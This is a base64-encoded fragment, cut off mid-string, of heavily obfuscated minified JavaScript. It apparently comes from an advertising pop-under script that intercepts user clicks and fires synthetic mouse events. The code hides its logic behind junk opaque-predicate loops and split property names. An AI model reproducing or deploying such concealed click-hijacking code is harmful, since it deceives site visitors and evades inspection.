K0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwx